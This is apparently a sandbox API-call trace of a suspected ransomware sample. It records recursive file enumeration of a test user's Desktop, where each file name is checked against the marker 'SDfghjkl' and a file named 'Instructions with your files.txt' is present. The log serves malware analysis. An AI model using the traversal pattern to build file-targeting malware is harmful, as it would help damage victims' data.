[0146.251] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb7763640, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb7763640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="..", cAlternateFileName="")) returned 1
[0146.251] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\..") returned 40
[0146.251] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0146.251] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6ca470, ftCreationTime.dwHighDateTime=0x1d5c471, ftLastAccessTime.dwLowDateTime=0x9353cf90, ftLastAccessTime.dwHighDateTime=0x1d5c4d1, ftLastWriteTime.dwLowDateTime=0x9353cf90, ftLastWriteTime.dwHighDateTime=0x1d5c4d1, nFileSizeHigh=0x0, nFileSizeLow=0x168ac, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="0MiR-yvFdVlOtxu.m4a", cAlternateFileName="0MIR-Y~1.M4A")) returned 1
[0146.251] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0MiR-yvFdVlOtxu.m4a") returned 57
[0146.251] StrStrIW (lpFirst="0MiR-yvFdVlOtxu.m4a", lpSrch="SDfghjkl") returned 0x0
[0146.251] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc18ddc20, ftCreationTime.dwHighDateTime=0x1d5bf31, ftLastAccessTime.dwLowDateTime=0x304f4e90, ftLastAccessTime.dwHighDateTime=0x1d5c55a, ftLastWriteTime.dwLowDateTime=0x304f4e90, ftLastWriteTime.dwHighDateTime=0x1d5c55a, nFileSizeHigh=0x0, nFileSizeLow=0x82a5, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="5I7CH 1.mp3", cAlternateFileName="5I7CH1~1.MP3")) returned 1
[0146.251] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5I7CH 1.mp3") returned 49
[0146.251] StrStrIW (lpFirst="5I7CH 1.mp3", lpSrch="SDfghjkl") returned 0x0
[0146.252] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebcff920, ftCreationTime.dwHighDateTime=0x1d5bc87, ftLastAccessTime.dwLowDateTime=0xcf56890, ftLastAccessTime.dwHighDateTime=0x1d5be92, ftLastWriteTime.dwLowDateTime=0xcf56890, ftLastWriteTime.dwHighDateTime=0x1d5be92, nFileSizeHigh=0x0, nFileSizeLow=0x6124, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="alUY9lDsv60p5z.mp3", cAlternateFileName="ALUY9L~1.MP3")) returned 1
[0146.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\alUY9lDsv60p5z.mp3") returned 56
[0146.252] StrStrIW (lpFirst="alUY9lDsv60p5z.mp3", lpSrch="SDfghjkl") returned 0x0
[0146.252] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa67406e0, ftCreationTime.dwHighDateTime=0x1d5bd9b, ftLastAccessTime.dwLowDateTime=0x68ebb570, ftLastAccessTime.dwHighDateTime=0x1d5bfa3, ftLastWriteTime.dwLowDateTime=0x68ebb570, ftLastWriteTime.dwHighDateTime=0x1d5bfa3, nFileSizeHigh=0x0, nFileSizeLow=0xf4d5, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="A_8wH.ods", cAlternateFileName="")) returned 1
[0146.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A_8wH.ods") returned 47
[0146.252] StrStrIW (lpFirst="A_8wH.ods", lpSrch="SDfghjkl") returned 0x0
[0146.252] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb4e050, ftCreationTime.dwHighDateTime=0x1d5c099, ftLastAccessTime.dwLowDateTime=0xfa1d4900, ftLastAccessTime.dwHighDateTime=0x1d5ba9e, ftLastWriteTime.dwLowDateTime=0xfa1d4900, ftLastWriteTime.dwHighDateTime=0x1d5ba9e, nFileSizeHigh=0x0, nFileSizeLow=0x4503, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="BrPw9cqHUuRQ2.pdf", cAlternateFileName="BRPW9C~1.PDF")) returned 1
[0146.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BrPw9cqHUuRQ2.pdf") returned 55
[0146.252] StrStrIW (lpFirst="BrPw9cqHUuRQ2.pdf", lpSrch="SDfghjkl") returned 0x0
[0146.252] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfb77b0, ftCreationTime.dwHighDateTime=0x1d5bacb, ftLastAccessTime.dwLowDateTime=0xa0773010, ftLastAccessTime.dwHighDateTime=0x1d5bc32, ftLastWriteTime.dwLowDateTime=0xa0773010, ftLastWriteTime.dwHighDateTime=0x1d5bc32, nFileSizeHigh=0x0, nFileSizeLow=0x7ce6, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="ce-pD5_8jb.mkv", cAlternateFileName="CE-PD5~1.MKV")) returned 1
[0146.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ce-pD5_8jb.mkv") returned 52
[0146.252] StrStrIW (lpFirst="ce-pD5_8jb.mkv", lpSrch="SDfghjkl") returned 0x0
[0146.252] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0146.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned 49
[0146.252] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0146.252] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63707410, ftCreationTime.dwHighDateTime=0x1d5c303, ftLastAccessTime.dwLowDateTime=0x86eb0540, ftLastAccessTime.dwHighDateTime=0x1d5b863, ftLastWriteTime.dwLowDateTime=0x86eb0540, ftLastWriteTime.dwHighDateTime=0x1d5b863, nFileSizeHigh=0x0, nFileSizeLow=0x762b, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="E5AmGbTm.jpg", cAlternateFileName="")) returned 1
[0146.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E5AmGbTm.jpg") returned 50
[0146.252] StrStrIW (lpFirst="E5AmGbTm.jpg", lpSrch="SDfghjkl") returned 0x0
[0146.252] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7763640, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb7763640, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb7763640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0146.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Instructions with your files.txt") returned 70
[0146.252] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0146.252] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc66fe4c0, ftCreationTime.dwHighDateTime=0x1d5c5d7, ftLastAccessTime.dwLowDateTime=0x3cf77a90, ftLastAccessTime.dwHighDateTime=0x1d5b958, ftLastWriteTime.dwLowDateTime=0x3cf77a90, ftLastWriteTime.dwHighDateTime=0x1d5b958, nFileSizeHigh=0x0, nFileSizeLow=0x7022, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="j0Uz2.swf", cAlternateFileName="")) returned 1
[0146.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j0Uz2.swf") returned 47
[0146.252] StrStrIW (lpFirst="j0Uz2.swf", lpSrch="SDfghjkl") returned 0x0
[0146.252] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7249e8c0, ftCreationTime.dwHighDateTime=0x1d5c4c7, ftLastAccessTime.dwLowDateTime=0x30e88720, ftLastAccessTime.dwHighDateTime=0x1d5c011, ftLastWriteTime.dwLowDateTime=0x30e88720, ftLastWriteTime.dwHighDateTime=0x1d5c011, nFileSizeHigh=0x0, nFileSizeLow=0x18f1c, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="JptUQtlwj3lH.swf", cAlternateFileName="JPTUQT~1.SWF")) returned 1
[0146.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JptUQtlwj3lH.swf") returned 54
[0146.252] StrStrIW (lpFirst="JptUQtlwj3lH.swf", lpSrch="SDfghjkl") returned 0x0
[0146.252] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45d09980, ftCreationTime.dwHighDateTime=0x1d5b5e3, ftLastAccessTime.dwLowDateTime=0x71931040, ftLastAccessTime.dwHighDateTime=0x1d5c595, ftLastWriteTime.dwLowDateTime=0x71931040, ftLastWriteTime.dwHighDateTime=0x1d5c595, nFileSizeHigh=0x0, nFileSizeLow=0x113a4, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="Ko8-90VO36NLA.bmp", cAlternateFileName="KO8-90~1.BMP")) returned 1
[0146.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ko8-90VO36NLA.bmp") returned 55
[0146.252] StrStrIW (lpFirst="Ko8-90VO36NLA.bmp", lpSrch="SDfghjkl") returned 0x0
[0146.252] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49549f90, ftCreationTime.dwHighDateTime=0x1d5be88, ftLastAccessTime.dwLowDateTime=0x772a0e80, ftLastAccessTime.dwHighDateTime=0x1d5bee9, ftLastWriteTime.dwLowDateTime=0x772a0e80, ftLastWriteTime.dwHighDateTime=0x1d5bee9, nFileSizeHigh=0x0, nFileSizeLow=0x18f82, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="LZ i-nP.docx", cAlternateFileName="LZI-NP~1.DOC")) returned 1
[0146.252] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LZ i-nP.docx") returned 50
[0146.252] StrStrIW (lpFirst="LZ i-nP.docx", lpSrch="SDfghjkl") returned 0x0
[0146.253] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce8fe60, ftCreationTime.dwHighDateTime=0x1d5c017, ftLastAccessTime.dwLowDateTime=0xcc2055d0, ftLastAccessTime.dwHighDateTime=0x1d5bd67, ftLastWriteTime.dwLowDateTime=0xcc2055d0, ftLastWriteTime.dwHighDateTime=0x1d5bd67, nFileSizeHigh=0x0, nFileSizeLow=0x123e, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="l_XXzi.png", cAlternateFileName="")) returned 1
[0146.253] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l_XXzi.png") returned 48
[0146.253] StrStrIW (lpFirst="l_XXzi.png", lpSrch="SDfghjkl") returned 0x0
[0146.253] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1969b70, ftCreationTime.dwHighDateTime=0x1d5c423, ftLastAccessTime.dwLowDateTime=0x7fb1f590, ftLastAccessTime.dwHighDateTime=0x1d5c119, ftLastWriteTime.dwLowDateTime=0x7fb1f590, ftLastWriteTime.dwHighDateTime=0x1d5c119, nFileSizeHigh=0x0, nFileSizeLow=0x402e, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="MYP5re1ttF.mp3", cAlternateFileName="MYP5RE~1.MP3")) returned 1
[0146.253] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MYP5re1ttF.mp3") returned 52
[0146.253] StrStrIW (lpFirst="MYP5re1ttF.mp3", lpSrch="SDfghjkl") returned 0x0
[0146.253] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9aa76e0, ftCreationTime.dwHighDateTime=0x1d5c1b2, ftLastAccessTime.dwLowDateTime=0x2b354180, ftLastAccessTime.dwHighDateTime=0x1d5c500, ftLastWriteTime.dwLowDateTime=0x2b354180, ftLastWriteTime.dwHighDateTime=0x1d5c500, nFileSizeHigh=0x0, nFileSizeLow=0x7d10, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="MZsA6KeasgkmBOzSX1.wav", cAlternateFileName="MZSA6K~1.WAV")) returned 1
[0146.253] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MZsA6KeasgkmBOzSX1.wav") returned 60
[0146.253] StrStrIW (lpFirst="MZsA6KeasgkmBOzSX1.wav", lpSrch="SDfghjkl") returned 0x0
[0146.253] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2755e0, ftCreationTime.dwHighDateTime=0x1d5b959, ftLastAccessTime.dwLowDateTime=0x5d2436e0, ftLastAccessTime.dwHighDateTime=0x1d5c0ac, ftLastWriteTime.dwLowDateTime=0x5d2436e0, ftLastWriteTime.dwHighDateTime=0x1d5c0ac, nFileSizeHigh=0x0, nFileSizeLow=0x696, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="ngGJO4D5qO7vd.docx", cAlternateFileName="NGGJO4~1.DOC")) returned 1
[0146.253] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ngGJO4D5qO7vd.docx") returned 56
[0146.253] StrStrIW (lpFirst="ngGJO4D5qO7vd.docx", lpSrch="SDfghjkl") returned 0x0
[0146.253] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce559580, ftCreationTime.dwHighDateTime=0x1d5b7fa, ftLastAccessTime.dwLowDateTime=0xab52c990, ftLastAccessTime.dwHighDateTime=0x1d5b6ab, ftLastWriteTime.dwLowDateTime=0xab52c990, ftLastWriteTime.dwHighDateTime=0x1d5b6ab, nFileSizeHigh=0x0, nFileSizeLow=0x17fde, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="nXfFgl7FCV_Tkau.bmp", cAlternateFileName="NXFFGL~1.BMP")) returned 1
[0146.253] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nXfFgl7FCV_Tkau.bmp") returned 57
[0146.253] StrStrIW (lpFirst="nXfFgl7FCV_Tkau.bmp", lpSrch="SDfghjkl") returned 0x0
[0146.253] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6abcfa00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x6b559080, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x698bcd00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="ooolbx.exe", cAlternateFileName="")) returned 1
[0146.253] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ooolbx.exe") returned 48
[0146.253] StrStrIW (lpFirst="ooolbx.exe", lpSrch="SDfghjkl") returned 0x0
[0146.253] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e76ca0, ftCreationTime.dwHighDateTime=0x1d5c007, ftLastAccessTime.dwLowDateTime=0x1944be80, ftLastAccessTime.dwHighDateTime=0x1d5bb49, ftLastWriteTime.dwLowDateTime=0x1944be80, ftLastWriteTime.dwHighDateTime=0x1d5bb49, nFileSizeHigh=0x0, nFileSizeLow=0x228f, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="OR uuib_ Nlx1.m4a", cAlternateFileName="ORUUIB~1.M4A")) returned 1
[0146.253] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OR uuib_ Nlx1.m4a") returned 55
[0146.253] StrStrIW (lpFirst="OR uuib_ Nlx1.m4a", lpSrch="SDfghjkl") returned 0x0
[0146.253] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24190b60, ftCreationTime.dwHighDateTime=0x1d5c470, ftLastAccessTime.dwLowDateTime=0xb7763640, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb7763640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName="phAWcHb", cAlternateFileName="")) returned 1
[0146.253] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb") returned 45
[0146.253] GetProcessHeap () returned 0x810000
[0146.253] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0146.253] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\*") returned 47
[0146.253] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\*", lpFindFileData=0x3ef490 | out: lpFindFileData=0x3ef490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24190b60, ftCreationTime.dwHighDateTime=0x1d5c470, ftLastAccessTime.dwLowDateTime=0xb7763640, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb7763640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0146.254] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\.") returned 47
[0146.254] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x3ef490 | out: lpFindFileData=0x3ef490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24190b60, ftCreationTime.dwHighDateTime=0x1d5c470, ftLastAccessTime.dwLowDateTime=0xb7763640, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb7763640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0146.254] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\..") returned 48
[0146.254] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x3ef490 | out: lpFindFileData=0x3ef490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d4181a0, ftCreationTime.dwHighDateTime=0x1d5bebe, ftLastAccessTime.dwLowDateTime=0xfd4159e0, ftLastAccessTime.dwHighDateTime=0x1d5c3f5, ftLastWriteTime.dwLowDateTime=0xfd4159e0, ftLastWriteTime.dwHighDateTime=0x1d5c3f5, nFileSizeHigh=0x0, nFileSizeLow=0x7401, dwReserved0=0x0, dwReserved1=0x0, cFileName="0vGOC.avi", cAlternateFileName="")) returned 1
[0146.254] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\0vGOC.avi") returned 55
[0146.254] StrStrIW (lpFirst="0vGOC.avi", lpSrch="SDfghjkl") returned 0x0
[0146.254] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x3ef490 | out: lpFindFileData=0x3ef490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4bcfb70, ftCreationTime.dwHighDateTime=0x1d5ba07, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb773d4e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CmHNFT8ghNe", cAlternateFileName="CMHNFT~1")) returned 1
[0146.254] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe") returned 57
[0146.254] GetProcessHeap () returned 0x810000
[0146.254] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0146.254] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\*") returned 59
[0146.254] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\*", lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4bcfb70, ftCreationTime.dwHighDateTime=0x1d5ba07, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb773d4e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0146.254] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\.") returned 59
[0146.254] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4bcfb70, ftCreationTime.dwHighDateTime=0x1d5ba07, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb773d4e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0146.254] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\..") returned 60
[0146.254] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eff6c50, ftCreationTime.dwHighDateTime=0x1d5b65b, ftLastAccessTime.dwLowDateTime=0xe2174400, ftLastAccessTime.dwHighDateTime=0x1d5c5ac, ftLastWriteTime.dwLowDateTime=0xe2174400, ftLastWriteTime.dwHighDateTime=0x1d5c5ac, nFileSizeHigh=0x0, nFileSizeLow=0xe7ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="8C4Z.bmp", cAlternateFileName="")) returned 1
[0146.254] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\8C4Z.bmp") returned 66
[0146.254] StrStrIW (lpFirst="8C4Z.bmp", lpSrch="SDfghjkl") returned 0x0
[0146.254] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa58e6830, ftCreationTime.dwHighDateTime=0x1d5c4f6, ftLastAccessTime.dwLowDateTime=0xe1fcea00, ftLastAccessTime.dwHighDateTime=0x1d5c021, ftLastWriteTime.dwLowDateTime=0xe1fcea00, ftLastWriteTime.dwHighDateTime=0x1d5c021, nFileSizeHigh=0x0, nFileSizeLow=0x3fa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="cbk0VRl.mp3", cAlternateFileName="")) returned 1
[0146.254] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\cbk0VRl.mp3") returned 69
[0146.254] StrStrIW (lpFirst="cbk0VRl.mp3", lpSrch="SDfghjkl") returned 0x0
